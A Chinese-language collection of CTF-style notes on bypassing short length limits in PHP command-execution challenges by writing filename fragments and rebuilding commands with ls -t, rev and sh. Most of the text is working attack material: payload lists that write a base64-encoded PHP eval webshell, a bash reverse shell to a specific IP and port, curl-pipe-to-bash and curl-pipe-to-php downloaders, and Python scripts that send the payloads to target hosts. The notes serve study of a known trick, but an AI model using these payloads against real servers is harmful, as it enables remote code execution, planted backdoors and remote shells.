源码
highlight_file(__FILE__);
if(strlen($_GET[1]<7)){
echo strlen($_GET[1]);
echo '
';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
?>
#写入语句
<?php eval($_GET[1]);
#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
payload:
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
脚本代码:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.61.157/rce.php?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
https://blog.csdn.net/nzjdsds/article/details/102873187
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>
payload
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0【前面可以拆成更小的,ls -t>0需要单独拆分出来】
sh 0
ls -t >0 拆分方法(因为环境问题无法复现):
既然可以执行命令,那么我们首先想到的是反弹一个shell回来
bash反弹shell的命令如下:
bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1
空格需要转义
>\ \\
构造空格就用去了五个字符,我们的语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:
curl ip地址|bash
我们先在自己的vps新建一个文件,内容为
bash -i >& /dev/tcp/120.79.33.253/7777 0>&1
然后在vps上面监听7777端口
nc -lv 7777
因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件
ls命令排序的规则是空格和符号最前,数字其次,字母最后
>ls\\
ls>_
>\ \\
>-t\\
>\>y
ls>>_
那么我们再构造curl 120.79.33.253|bash
>bash
>\|\\
>53\\
>2\\
>3.\\
>3\\
>9.\\
>7\\
>0.\\
>12\\
>\ \\
>rl\\
>cu\\
然后运行
sh _
生成文件y
再执行
sh y
py脚本
#encoding:utf-8
import requests
baseurl = "http://120.79.33.253:9003/?cmd="
reset = "http://120.79.33.253:9003/?reset"
s = requests.session()
s.get(reset)
# 将ls -t 写入文件_
list=[
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>y",
"ls>>_"
]
# curl 120.79.33.253|bash
list2=[
">bash",
">\|\\",
">53\\",
">2\\",
">3.\\",
">3\\",
">9.\\",
">7\\",
">0.\\",
">12\\",
">\ \\",
">rl\\",
">cu\\"
]
for i in list:
url = baseurl+str(i)
s.get(url)
for j in list2:
url = baseurl+str(j)
s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")
#s.get(reset)
成功拿到shell
payload:
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f
脚本:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.61.157/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
https://blog.csdn.net/nzjdsds/article/details/102873203?depth_1-
https://www.secpulse.com/archives/120302.html
https://note.youdao.com/ynoteshare1/index.html?id=129e39825e7bb3b222e613e33685b764&type=note
*因为环境有点问题无法复现,无法整体复现
*但是这个trick非常有意思,想分享下
题目源码
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
预备知识:
1.输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
>id
>root
* (等同于命令:id root)
2.增加字母来限定被用来当作命令和参数的文件名
>ls
>lss
>lsss
>1
*s (等同于命令: ls lss lsss)
3联合知识点2,通过rev来倒置输出内容
>rev
echo 1234 > v
*v (等同于命令:rev v)
4通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置
我们之后需要用到rev 倒置输出
所以需要列出这样形式的文件名
0> t- sl
>0\>
>t-
>sl
所以要增加-h来把-t往前拉
>0\>
>ht-
>sl
5用dir来代替ls不换行输出
先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响知识点①的命令执行
看下dir的效果,会不换行输出到文件中去
最后的payload
>dir
>f\>
>ht-
>sl
*>v (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0 (等同于命令:rev v > 0)(0里面的内容位:ls -th >f)
sh 0 (sh执行0里面的内容)
payload
#-*-coding:utf8-*-
import requests as r
from time import sleep
import random
import hashlib
target = 'http://52.197.41.31/'
# 存放待下载文件的公网主机的IP
shell_ip = 'xx.xx.xx.xx'
# 本机IP
your_ip = r.get( 'http://ipv4.icanhazip.com/' ).text.strip()
# 将shell_IP转换成十六进制
ip = '0x' + ''.join([ str ( hex ( int (i))[ 2 :].zfill( 2 ))
for i in shell_ip.split( '.' )])
reset = target + '?reset'
cmd = target + '?cmd='
sandbox = target + 'sandbox/' + \
hashlib.md5( 'orange' + your_ip).hexdigest() + '/'
# payload某些位置的可选字符
pos0 = random.choice( 'efgh' )
pos1 = random.choice( 'hkpq' )
pos2 = 'g' # 随意选择字符
payload = [
'>dir' ,
# 创建名为 dir 的文件
'>%s\>' % pos0,
# 假设pos0选择 f , 创建名为 f> 的文件
'>%st-' % pos1,
# 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
# 因为alphabetical序中t>s
'>sl' ,
# 创建名为 >sl 的文件;到此处有四个文件,
# ls 的结果会是:dir f> kt- sl
'*>v' ,
# 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
# 前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
# 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符
'>rev' ,
# 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v
'*v>%s' % pos2,
# 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
# 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f
# 续行分割 curl 0x11223344|php 并逆序写入
'>p' ,
'>ph\\' ,
'>\|\\' ,
'>%s\\' % ip[ 8 : 10 ],
'>%s\\' % ip[ 6 : 8 ],
'>%s\\' % ip[ 4 : 6 ],
'>%s\\' % ip[ 2 : 4 ],
'>%s\\' % ip[ 0 : 2 ],
'>\ \\' ,
'>rl\\' ,
'>cu\\' ,
'sh ' + pos2,
# sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
# 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
'sh ' + pos0,
# sh f 执行curl命令,下载文件,写入木马。
]
s = r.get(reset)
for i in payload:
assert len (i) < = 4
s = r.get(cmd + i)
print '[%d]' % s.status_code, s.url
sleep( 0.1 )
s = r.get(sandbox + 'fun.php?cmd=uname -a' )
print '[%d]' % s.status_code, s.url
print s.text
https://www.anquanke.com/post/id/87203